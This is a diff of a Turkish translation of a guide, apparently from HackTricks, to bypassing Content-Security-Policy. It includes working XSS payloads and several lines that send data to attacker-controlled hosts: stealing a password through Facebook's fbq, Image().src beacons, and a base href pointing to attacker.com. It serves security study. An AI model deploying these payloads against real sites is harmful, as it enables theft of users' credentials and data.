- JS sınırlı yürütme varsa, `doc.defaultView.top.document.querySelector("[nonce]")` ile sayfa içinde kullanılan bir nonce almak ve ardından kötü niyetli bir betiği yüklemek için yeniden kullanmak mümkündür (strict-dynamic kullanılıyorsa, herhangi bir izin verilen kaynak yeni kaynaklar yükleyebilir, bu nedenle bu gerekli değildir), şöyle:
|
||||
- `'nonce'`: Kriptografik bir nonce (bir kez kullanılan sayı) kullanarak belirli satır içi scriptler için bir beyaz liste.
|
||||
- JS sınırlı yürütme varsa, sayfa içinde kullanılan bir nonce almak mümkündür `doc.defaultView.top.document.querySelector("[nonce]")` ile ve ardından kötü niyetli bir script yüklemek için yeniden kullanılabilir (strict-dynamic kullanılıyorsa, herhangi bir izin verilen kaynak yeni kaynaklar yükleyebilir, bu nedenle bu gerekli değildir), şöyle:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Nonce'i yeniden kullanarak betik yükle</summary>
|
||||
<summary>Nonce'i yeniden kullanarak script yükle</summary>
|
||||
```html
|
||||
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
|
||||
<img
|
||||
@ -89,7 +89,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
|
||||
</details>
|
||||
|
||||
- `'sha256-<hash>'`: Belirli bir sha256 hash'ine sahip scriptleri beyaz listeye alır.
|
||||
- `'strict-dynamic'`: Bir nonce veya hash ile beyaz listeye alındıysa, herhangi bir kaynaktan script yüklenmesine izin verir.
|
||||
- `'strict-dynamic'`: Bir nonce veya hash ile beyaz listeye alınmışsa, herhangi bir kaynaktan script yüklenmesine izin verir.
|
||||
- `'host'`: `example.com` gibi belirli bir hostu belirtir.
|
||||
- `https:`: URL'leri yalnızca HTTPS kullananlarla kısıtlar.
|
||||
- `blob:`: Kaynakların Blob URL'lerinden (örneğin, JavaScript ile oluşturulan Blob URL'leri) yüklenmesine izin verir.
|
||||
@ -159,15 +159,15 @@ Eğer bir JS dosyası yükleyebiliyorsanız, bu CSP'yi atlayabilirsiniz:
|
||||
```markup
|
||||
"/>'><script src="/uploads/picture.png.js"></script>
|
||||
```
|
||||
Ancak, sunucunun **yüklenen dosyayı doğrulama** olasılığı oldukça yüksektir ve yalnızca **belirli türde dosyaların yüklenmesine** izin verecektir.
|
||||
Ancak, sunucunun **yüklenen dosyayı doğruladığı** ve yalnızca **belirli türde dosyaların yüklenmesine izin verdiği** oldukça olasıdır.
|
||||
|
||||
Ayrıca, sunucu tarafından kabul edilen bir uzantı kullanarak bir dosya içinde **JS kodu yükleyebilseniz bile** (örneğin: _script.png_), bu yeterli olmayacaktır çünkü bazı sunucular, apache sunucusu gibi, **dosyanın MIME türünü uzantıya göre seçer** ve Chrome gibi tarayıcılar, bir görüntü olması gereken bir şeyin içinde Javascript kodunu **çalıştırmayı reddeder**. "Umarım", hatalar vardır. Örneğin, bir CTF'den öğrendiğim kadarıyla **Apache,** _**.wave**_ uzantısını bilmemektedir, bu nedenle bunu **audio/\*** gibi bir **MIME türü ile sunmaz**.
|
||||
Ayrıca, sunucu tarafından kabul edilen bir uzantı kullanarak bir dosya içine **JS kodu yükleyebilseniz bile** (örneğin: _script.png_), bu yeterli olmayacaktır çünkü bazı sunucular, apache sunucusu gibi, **dosyanın MIME türünü uzantıya göre seçer** ve Chrome gibi tarayıcılar, bir görüntü olması gereken bir şeyin içinde **Javascript kodunu çalıştırmayı reddeder**. "Umarım", hatalar vardır. Örneğin, bir CTF'den öğrendiğim kadarıyla **Apache,** _**.wave**_ uzantısını bilmediği için, bunu **MIME türü olarak audio/** ile sunmaz.
|
||||
|
||||
Buradan, bir XSS ve dosya yüklemesi bulursanız ve **yanlış yorumlanan bir uzantı** bulmayı başarırsanız, o uzantıyla bir dosya yüklemeyi ve script'in içeriğini denemek isteyebilirsiniz. Ya da, sunucu yüklenen dosyanın doğru formatını kontrol ediyorsa, bir polyglot oluşturabilirsiniz ([bazı polyglot örnekleri burada](https://github.com/Polydet/polyglot-database)).
|
||||
|
||||
### Form-action
|
||||
|
||||
Eğer JS enjekte etmek mümkün değilse, örneğin kimlik bilgilerini **bir form eylemi enjekte ederek** dışarı sızdırmayı deneyebilirsiniz (ve belki şifre yöneticilerinin şifreleri otomatik doldurmasını bekleyebilirsiniz). [**Bu raporda bir örnek bulabilirsiniz**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Ayrıca, `default-src`'nin form eylemlerini kapsamadığını unutmayın.
|
||||
Eğer JS enjekte etmek mümkün değilse, örneğin kimlik bilgilerini **bir form eylemi enjekte ederek** dışarı sızdırmayı deneyebilirsiniz (ve belki şifre yöneticilerinin şifreleri otomatik doldurmasını bekleyebilirsiniz). Bir [**örneği bu raporda bulabilirsiniz**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Ayrıca, `default-src`'nin form eylemlerini kapsamadığını unutmayın.
|
||||
|
||||
### Üçüncü Taraf Uç Noktaları + ('unsafe-eval')
|
||||
|
||||
@ -197,10 +197,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
|
||||
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
|
||||
>
|
||||
```
|
||||
#### Angular + `window` nesnesini döndüren fonksiyonlar içeren bir kütüphane kullanarak Payload'lar ([bu gönderiye göz atın](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||||
#### Angular kullanarak ve `window` nesnesini döndüren fonksiyonlar içeren bir kütüphane ile payloadlar ([bu yazıya göz atın](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||||
|
||||
> [!NOTE]
|
||||
> Gönderi, `cdn.cloudflare.com` (veya başka bir izin verilen JS kütüphaneleri deposu) üzerinden **tüm kütüphaneleri** **yükleyebileceğinizi**, her kütüphaneden eklenen tüm fonksiyonları çalıştırabileceğinizi ve **hangi kütüphanelerden hangi fonksiyonların `window` nesnesini döndürdüğünü** kontrol edebileceğinizi gösteriyor.
|
||||
> Yazıda, `cdn.cloudflare.com` (veya başka bir izin verilen JS kütüphaneleri deposu) üzerinden **tüm kütüphaneleri** **yükleyebileceğiniz**, her kütüphaneden eklenen tüm fonksiyonları çalıştırabileceğiniz ve **hangi kütüphanelerden hangi fonksiyonların `window` nesnesini döndürdüğünü** kontrol edebileceğiniz gösterilmektedir.
|
||||
```markup
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
|
||||
@ -243,7 +243,7 @@ ng-init="c.init()"
|
||||
|
||||
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
|
||||
```
|
||||
Daha fazla [**yüklerden bu yazıdan**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
|
||||
Daha fazla [**yüklerden bu yazıda**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
|
||||
```html
|
||||
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
|
||||
|
||||
@ -268,7 +268,7 @@ https://www.google.com/amp/s/example.com/
|
||||
```
|
||||
\*.google.com/script.google.com'ı kötüye kullanma
|
||||
|
||||
script.google.com içindeki bir sayfada bilgi almak için Google Apps Script'i kötüye kullanmak mümkündür. Bunu [bu raporda](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/) yapıldığı gibi.
|
||||
script.google.com içindeki bir sayfada bilgi almak için Google Apps Script'i kötüye kullanmak mümkündür. Bunu [bu raporda](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/) olduğu gibi yapabilirsiniz.
|
||||
|
||||
### Üçüncü Taraf Uç Noktaları + JSONP
|
||||
```http
|
||||
@ -313,13 +313,13 @@ ve
|
||||
```
|
||||
Content-Security-Policy: connect-src www.facebook.com;
|
||||
```
|
||||
Veri sızdırmanız gerektiğinde, her zamanki gibi [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/) ile yapıldığı gibi yapmalısınız. Bu durumda, aşağıdaki genel adımları izlersiniz:
|
||||
Veri sızdırma işlemini gerçekleştirebilmelisiniz, tıpkı her zaman [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/) ile yapıldığı gibi. Bu durumda, aşağıdaki genel adımları izlersiniz:
|
||||
|
||||
1. Buradan bir Facebook Geliştirici hesabı oluşturun.
|
||||
2. Yeni bir "Facebook Girişi" uygulaması oluşturun ve "Web Sitesi"ni seçin.
|
||||
3. "Ayarlar -> Temel" bölümüne gidin ve "Uygulama Kimliğinizi" alın.
|
||||
4. Veri sızdırmak istediğiniz hedef sitede, "customEvent" ve veri yükü aracılığıyla doğrudan Facebook SDK aracı "fbq" kullanarak veri sızdırabilirsiniz.
|
||||
5. Uygulamanızın "Etkinlik Yöneticisi"ne gidin ve oluşturduğunuz uygulamayı seçin (etkinlik yöneticisi, şu URL'de bulunabilir: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
|
||||
5. Uygulamanızın "Etkinlik Yöneticisi"ne gidin ve oluşturduğunuz uygulamayı seçin (etkinlik yöneticisi, şu URL'ye benzer bir yerde bulunabilir: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
|
||||
6. "Test Etkinlikleri" sekmesini seçerek "sizin" web siteniz tarafından gönderilen etkinlikleri görün.
|
||||
|
||||
Ardından, kurban tarafında, saldırganın Facebook geliştirici hesabı uygulama kimliğine işaret eden Facebook izleme pikselini başlatmak ve şu şekilde özel bir etkinlik oluşturmak için aşağıdaki kodu çalıştırırsınız:
|
||||
@ -329,11 +329,11 @@ fbq('trackCustom', 'My-Custom-Event',{
|
||||
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
|
||||
});
|
||||
```
|
||||
Önceki tabloda belirtilen diğer yedi üçüncü taraf alanı için, bunları kötüye kullanmanın birçok başka yolu vardır. Diğer üçüncü taraf kötüye kullanımları hakkında ek açıklamalar için önceki [blog yazısına](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) bakın.
|
||||
Önceki tabloda belirtilen diğer yedi üçüncü taraf alanı için, bunları kötüye kullanmanın birçok başka yolu vardır. Diğer üçüncü taraf kötüye kullanımları hakkında ek açıklamalar için önceki [blog gönderisine](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) bakın.
|
||||
|
||||
### RPO (Relative Path Overwrite) ile Bypass <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||
|
||||
Yol kısıtlamalarını aşmak için daha önce bahsedilen yönlendirmeye ek olarak, bazı sunucularda kullanılabilecek Relative Path Overwrite (RPO) adlı başka bir teknik vardır.
|
||||
Yukarıda bahsedilen yol kısıtlamalarını aşmak için yönlendirmeye ek olarak, bazı sunucularda kullanılabilecek Relative Path Overwrite (RPO) adlı başka bir teknik vardır.
|
||||
|
||||
Örneğin, CSP `https://example.com/scripts/react/` yoluna izin veriyorsa, şu şekilde aşılabilir:
|
||||
```html
|
||||
@ -343,7 +343,7 @@ Tarayıcı nihayetinde `https://example.com/scripts/angular/angular.js` dosyası
|
||||
|
||||
Bu, tarayıcı için `https://example.com/scripts/react/` altında bulunan `..%2fangular%2fangular.js` adlı bir dosyayı yüklüyorsunuz gibi çalışır ve bu CSP ile uyumludur.
|
||||
|
||||
∑, bunu çözecekler ve etkili bir şekilde `https://example.com/scripts/react/../angular/angular.js` isteğinde bulunacaklar, bu da `https://example.com/scripts/angular/angular.js` ile eşdeğerdir.
|
||||
∑, bunu çözerek, aslında `https://example.com/scripts/react/../angular/angular.js` isteğinde bulunacaklar ki bu da `https://example.com/scripts/angular/angular.js` ile eşdeğerdir.
|
||||
|
||||
**Tarayıcı ve sunucu arasındaki URL yorumlama tutarsızlığından yararlanarak, yol kuralları atlatılabilir.**
|
||||
|
||||
@ -362,13 +362,13 @@ Bu, tarayıcı için `https://example.com/scripts/react/` altında bulunan `..%2
|
||||
Eğer **base-uri** direktifi eksikse, bunu [**dangling markup injection**](../dangling-markup-html-scriptless-injection/) gerçekleştirmek için kötüye kullanabilirsiniz.
|
||||
|
||||
Ayrıca, eğer **sayfa bir göreli yol kullanarak bir script yüklüyorsa** (örneğin `<script src="/js/app.js">`) ve bir **Nonce** kullanıyorsanız, **base** **etiketini** kötüye kullanarak scripti **kendi sunucunuzdan yüklemesini sağlayabilirsiniz ve bu bir XSS'ye yol açar.**\
|
||||
Eğer savunmasız sayfa **httpS** ile yükleniyorsa, base'de bir httpS URL'si kullanın.
|
||||
Eğer savunmasız sayfa **httpS** ile yükleniyorsa, base içinde bir httpS URL'si kullanın.
|
||||
```html
|
||||
<base href="https://www.attacker.com/" />
|
||||
```
|
||||
### AngularJS olayları
|
||||
|
||||
Belirli bir politika olan İçerik Güvenlik Politikası (CSP), JavaScript olaylarını kısıtlayabilir. Yine de, AngularJS alternatif olarak özel olaylar sunar. Bir olay içinde, AngularJS, yerel tarayıcı olay nesnesini referans alan benzersiz bir nesne olan `$event` sağlar. Bu `$event` nesnesi, CSP'yi aşmak için kullanılabilir. Özellikle, Chrome'da, `$event/event` nesnesi, olayın yürütme zincirine dahil olan bir nesne dizisini tutan bir `path` niteliğine sahiptir ve `window` nesnesi her zaman dizinin sonunda yer alır. Bu yapı, sandbox kaçış taktikleri için kritik öneme sahiptir.
|
||||
Belirli bir politika olan İçerik Güvenlik Politikası (CSP), JavaScript olaylarını kısıtlayabilir. Ancak, AngularJS alternatif olarak özel olaylar sunar. Bir olay içinde, AngularJS, yerel tarayıcı olay nesnesini referans alan benzersiz bir `$event` nesnesi sağlar. Bu `$event` nesnesi, CSP'yi aşmak için kullanılabilir. Özellikle, Chrome'da, `$event/event` nesnesi, olayın yürütme zincirine dahil olan bir nesne dizisini tutan bir `path` niteliğine sahiptir ve `window` nesnesi her zaman dizinin sonunda yer alır. Bu yapı, sandbox kaçış taktikleri için kritik öneme sahiptir.
|
||||
|
||||
Bu diziyi `orderBy` filtresine yönlendirerek, dizinin üzerinde yineleme yapmak ve terminal öğeyi (yani `window` nesnesini) kullanarak `alert()` gibi küresel bir fonksiyonu tetiklemek mümkündür. Aşağıda gösterilen kod parçası bu süreci açıklamaktadır:
|
||||
```xml
|
||||
@ -395,11 +395,11 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
|
||||
```
|
||||
Diğer JSONP keyfi yürütme uç noktaları [**burada**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) bulunabilir (bazıları silindi veya düzeltildi)
|
||||
|
||||
### Yönlendirme ile Atlatma
|
||||
### Yönlendirme ile Bypass
|
||||
|
||||
CSP sunucu tarafı yönlendirmesiyle karşılaştığında ne olur? Eğer yönlendirme, izin verilmeyen farklı bir kaynağa yönlendiriyorsa, yine de başarısız olacaktır.
|
||||
|
||||
Ancak, [CSP spesifikasyonu 4.2.2.3. Yollar ve Yönlendirmeler](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) açıklamasına göre, eğer yönlendirme farklı bir yola yönlendiriyorsa, orijinal kısıtlamaları atlayabilir.
|
||||
Ancak, [CSP spesifikasyonu 4.2.2.3. Yollar ve Yönlendirmeler](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) açıklamasına göre, eğer yönlendirme farklı bir yola yönlendiriyorsa, orijinal kısıtlamaları aşabilir.
|
||||
|
||||
İşte bir örnek:
|
||||
```html
|
||||
@ -437,7 +437,7 @@ default-src 'self' 'unsafe-inline'; img-src *;
|
||||
```
|
||||
`'unsafe-inline'` kodun içinde herhangi bir script çalıştırabileceğiniz anlamına gelir (XSS kod çalıştırabilir) ve `img-src *` ise web sayfasında herhangi bir kaynaktan herhangi bir resmi kullanabileceğiniz anlamına gelir.
|
||||
|
||||
Bu CSP'yi, verileri resimler aracılığıyla dışarı sızdırarak atlatabilirsiniz (bu durumda XSS, bot tarafından erişilebilen bir sayfada bir SQLi içeren bir CSRF'yi istismar eder ve bir resim aracılığıyla bayrağı çıkarır):
|
||||
Bu CSP'yi, verileri resimler aracılığıyla dışarı sızdırarak atlatabilirsiniz (bu durumda XSS, bot tarafından erişilebilen bir sayfada bir SQLi'yi kötüye kullanır ve bir resim aracılığıyla bayrağı çıkarır):
|
||||
```javascript
|
||||
<script>
|
||||
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
|
||||
@ -446,11 +446,11 @@ Image().src='http://PLAYER_SERVER/?'+_)
|
||||
```
|
||||
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||||
|
||||
Bu yapılandırmayı **bir resmin içine yerleştirilmiş javascript kodunu yüklemek için** de kötüye kullanabilirsiniz. Örneğin, sayfa Twitter'dan resim yüklemeye izin veriyorsa, **özel bir resim** **oluşturabilir**, bunu Twitter'a **yükleyebilir** ve **JS**'yi **çalıştırmak** için "**unsafe-inline**"ı **kötüye kullanabilirsiniz** (normal bir XSS gibi) ve bu, **resmi yükleyecek**, içinden **JS**'yi **çıkartacak** ve **çalıştıracaktır**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
Bu yapılandırmayı **bir resmin içine yerleştirilmiş javascript kodunu yüklemek için** de kötüye kullanabilirsiniz. Örneğin, sayfa Twitter'dan resim yüklemeye izin veriyorsa, **özel bir resim** **oluşturabilir**, bunu Twitter'a **yükleyebilir** ve **JS**'yi **çalıştırmak** için "**unsafe-inline**"ı **kötüye kullanabilirsiniz** (normal bir XSS gibi) bu da **resmi yükleyecek**, içinden **JS**'yi **çıkartacak** ve **çalıştıracaktır**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
|
||||
### Servis Çalışanları ile
|
||||
### Service Workers ile
|
||||
|
||||
Servis çalışanlarının **`importScripts`** fonksiyonu CSP ile sınırlı değildir:
|
||||
Service workers **`importScripts`** fonksiyonu CSP ile sınırlı değildir:
|
||||
|
||||
{{#ref}}
|
||||
../xss-cross-site-scripting/abusing-service-workers.md
|
||||
@ -468,19 +468,19 @@ script-src-elem *; script-src-attr *
|
||||
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
||||
```
|
||||
Bu direktif mevcut script-src direktiflerini **geçersiz kılacağı** için.\
|
||||
Bir örneği burada bulabilirsiniz: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
|
||||
Burada bir örnek bulabilirsiniz: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
|
||||
|
||||
#### Edge
|
||||
|
||||
Edge'de çok daha basit. CSP'ye sadece şunu ekleyebilirseniz: **`;_`** **Edge** tüm **politika**yı **sil**er.\
|
||||
Edge'de çok daha basit. CSP'ye sadece şunu ekleyebilirseniz: **`;_`** **Edge** tüm **politikayı** **silip atar**.\
|
||||
Örnek: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
|
||||
|
||||
### img-src \*; XSS (iframe) aracılığıyla - Zaman saldırısı
|
||||
### img-src \*; via XSS (iframe) - Zaman saldırısı
|
||||
|
||||
`'unsafe-inline'` direktifinin eksikliğine dikkat edin.\
|
||||
Bu sefer kurbanı **XSS** aracılığıyla **kontrolünüzdeki** bir sayfayı **yüklemeye** zorlayabilirsiniz. Bu sefer kurbanın bilgi almak istediğiniz sayfaya erişmesini sağlayacaksınız (**CSRF**). Sayfanın içeriğine erişemezsiniz, ancak sayfanın yüklenmesi için gereken **zamanı kontrol edebilirseniz** ihtiyacınız olan bilgiyi çıkarabilirsiniz.
|
||||
Bu sefer kurbanı **XSS** ile **kontrolünüzdeki** bir sayfayı **yüklemeye** zorlayabilirsiniz. Bu sefer kurbanın bilgi almak istediğiniz sayfaya erişmesini sağlayacaksınız (**CSRF**). Sayfanın içeriğine erişemezsiniz, ancak sayfanın yüklenmesi için gereken süreyi **kontrol edebilirseniz** ihtiyacınız olan bilgiyi çıkarabilirsiniz.
|
||||
|
||||
Bu sefer bir **bayrak** çıkarılacak, SQLi aracılığıyla **karakter doğru tahmin edildiğinde** **yanıt** **daha fazla zaman** alır çünkü uyku fonksiyonu vardır. Sonra, bayrağı çıkarabileceksiniz:
|
||||
Bu sefer bir **bayrak** çıkarılacak, her seferinde bir **karakter doğru tahmin edildiğinde** SQLi ile **yanıt** **daha uzun** sürecektir çünkü uyku fonksiyonu vardır. Sonra, bayrağı çıkarabileceksiniz:
|
||||
```html
|
||||
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
|
||||
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
|
||||
@ -557,7 +557,7 @@ src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
|
||||
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
|
||||
```
|
||||
[**bu CTF yazısı**](https://github.com/aszx87410/ctf-writeups/issues/48)'nda, **HTML injection** aracılığıyla **CSP**'yi daha fazla **kısıtlamak** mümkün oldu, böylece CSTI'yi engelleyen bir script devre dışı bırakıldı ve bu nedenle **açık hale geldi.**\
|
||||
CSP, **HTML meta etiketleri** kullanılarak daha kısıtlayıcı hale getirilebilir ve inline script'ler **kaldırılarak** **giriş**'leri devre dışı bırakılabilir, böylece **nonce**'ları ve **sha** aracılığıyla belirli inline script'leri etkinleştirebiliriz:
|
||||
CSP, **HTML meta etiketleri** kullanılarak daha kısıtlayıcı hale getirilebilir ve inline script'ler, **nonce**'larını sağlayarak ve belirli inline script'leri sha ile etkinleştirerek **kaldırılabilir.**
|
||||
```html
|
||||
<meta
|
||||
http-equiv="Content-Security-Policy"
|
||||
@ -566,9 +566,9 @@ content="script-src 'self'
|
||||
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
|
||||
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
|
||||
```
|
||||
### JS dışa aktarımı ile Content-Security-Policy-Report-Only
|
||||
### JS exfiltrasyonu ile Content-Security-Policy-Report-Only
|
||||
|
||||
Eğer sunucunun **`Content-Security-Policy-Report-Only`** başlığı ile **kontrol ettiğiniz bir değer** ile yanıt vermesini sağlayabilirseniz (belki bir CRLF nedeniyle), bunu kendi sunucunuza yönlendirebilir ve dışa aktarmak istediğiniz **JS içeriğini** **`<script>`** ile sarmalarsanız ve CSP tarafından yüksek ihtimalle `unsafe-inline` izin verilmezse, bu bir **CSP hatası** tetikleyecek ve scriptin bir kısmı (hassas bilgileri içeren) `Content-Security-Policy-Report-Only` üzerinden sunucuya gönderilecektir.
|
||||
Eğer sunucunun **`Content-Security-Policy-Report-Only`** başlığı ile **kontrol ettiğiniz bir değer** ile yanıt vermesini sağlayabilirseniz (belki bir CRLF nedeniyle), bunu kendi sunucunuza yönlendirebilir ve eğer **exfiltrate** etmek istediğiniz **JS içeriğini** **`<script>`** ile sararsanız ve CSP tarafından yüksek ihtimalle `unsafe-inline` izin verilmediğinden, bu bir **CSP hatası** tetikleyecek ve scriptin bir kısmı (hassas bilgileri içeren) `Content-Security-Policy-Report-Only` üzerinden sunucuya gönderilecektir.
|
||||
|
||||
Bir örnek için [**bu CTF yazımına göz atın**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||
|
||||
@ -583,9 +583,9 @@ document.querySelector("DIV").innerHTML =
|
||||
- Bu URL daha sonra CSP tarafından **izin verilmeyen** bir gizli URL'ye (örneğin, `https://usersecret.example2.com`) yönlendirir.
|
||||
- `securitypolicyviolation` olayını dinleyerek, `blockedURI` özelliğini yakalayabilirsiniz. Bu özellik, engellenen URI'nin alan adını açığa çıkararak, ilk URL'nin yönlendirdiği gizli alan adını sızdırır.
|
||||
|
||||
Chrome ve Firefox gibi tarayıcıların CSP ile ilgili iframeleri ele alma konusunda farklı davranışlar sergilediğini belirtmek ilginçtir; bu durum, tanımsız davranış nedeniyle hassas bilgilerin sızdırılmasına yol açabilir.
|
||||
Chrome ve Firefox gibi tarayıcıların CSP ile ilgili iframeleri ele alma konusunda farklı davranışlar sergilediğini belirtmek ilginçtir; bu da tanımsız davranış nedeniyle hassas bilgilerin sızdırılmasına yol açabilir.
|
||||
|
||||
Başka bir teknik, gizli alt alan adını çıkarmak için CSP'yi istismar etmeyi içerir. Bu yöntem, bir ikili arama algoritmasına dayanır ve belirli alan adlarını kasıtlı olarak engelleyerek CSP'yi ayarlamayı gerektirir. Örneğin, gizli alt alan adı bilinmeyen karakterlerden oluşuyorsa, CSP direktifini bu alt alan adlarını engelleyecek veya izin verecek şekilde değiştirerek farklı alt alan adlarını iteratif olarak test edebilirsiniz. İşte bu yöntemi kolaylaştırmak için CSP'nin nasıl ayarlanabileceğini gösteren bir kesit:
|
||||
Başka bir teknik, gizli alt alan adını çıkarmak için CSP'yi istismar etmeyi içerir. Bu yöntem, bir ikili arama algoritmasına dayanır ve belirli alan adlarını kasıtlı olarak engelleyerek CSP'yi ayarlamayı gerektirir. Örneğin, gizli alt alan adı bilinmeyen karakterlerden oluşuyorsa, CSP direktifini bu alt alan adlarını engellemek veya izin vermek için değiştirerek farklı alt alan adlarını yinelemeli olarak test edebilirsiniz. İşte bu yöntemi kolaylaştırmak için CSP'nin nasıl ayarlanabileceğini gösteren bir kod parçası:
|
||||
```markdown
|
||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||
```
|
||||
@ -610,7 +610,7 @@ Bu durumda, teknik esasen **CSP başlığının gönderilmemesi için yanıt tam
|
||||
|
||||
### Hata Sayfasını Yeniden Yazma
|
||||
|
||||
[**bu yazıdan**](https://blog.ssrf.kr/69) anlaşıldığına göre, bir hata sayfasını (potansiyel olarak CSP olmadan) yükleyerek ve içeriğini yeniden yazarak CSP korumasını aşmak mümkün görünmektedir.
|
||||
[**bu yazıdan**](https://blog.ssrf.kr/69) anlaşıldığına göre, bir hata sayfasını (potansiyel olarak CSP olmadan) yükleyerek ve içeriğini yeniden yazarak bir CSP korumasını aşmak mümkün görünmektedir.
|
||||
```javascript
|
||||
a = window.open("/" + "x".repeat(4100))
|
||||
setTimeout(function () {
|
||||
@ -619,15 +619,15 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
|
||||
```
|
||||
### SOME + 'self' + wordpress
|
||||
|
||||
SOME, bir sayfanın **uç noktasında** bir XSS (veya çok sınırlı XSS) **istismar eden** bir tekniktir. Bu, saldırgan sayfasından savunmasız uç noktasını yükleyerek ve ardından istismar etmek istediğiniz aynı kökenden gerçek uç noktaya saldırgan sayfasını yenileyerek yapılır. Bu şekilde, **savunmasız uç nokta**, **payload** içindeki **`opener`** nesnesini kullanarak **istismar etmek için gerçek uç noktanın DOM'una** **erişebilir**. Daha fazla bilgi için kontrol edin:
|
||||
SOME, bir sayfanın **bir uç noktasında** XSS (veya çok sınırlı XSS) **istismar eden** bir tekniktir, **aynı kökene ait diğer uç noktaları istismar etmek için.** Bu, saldırgan sayfasından savunmasız uç noktanın yüklenmesi ve ardından istismar etmek istediğiniz aynı kökenden gerçek uç noktaya saldırgan sayfasının yenilenmesiyle yapılır. Bu şekilde, **savunmasız uç nokta**, **payload** içindeki **`opener`** nesnesini kullanarak **istismar etmek için gerçek uç noktanın DOM'una** **erişebilir.** Daha fazla bilgi için kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
../xss-cross-site-scripting/some-same-origin-method-execution.md
|
||||
{{#endref}}
|
||||
|
||||
Ayrıca, **wordpress** `/wp-json/wp/v2/users/1?_jsonp=data` adresinde **verileri** çıktıda **yansıtan** bir **JSONP** uç noktasına sahiptir (sadece harf, rakam ve noktalarla sınırlıdır).
|
||||
Ayrıca, **wordpress**'te `/wp-json/wp/v2/users/1?_jsonp=data` adresinde bir **JSONP** uç noktası bulunmaktadır ve bu uç nokta, çıktıda gönderilen **verileri** **yansıtacaktır** (yalnızca harf, rakam ve nokta sınırlaması ile).
|
||||
|
||||
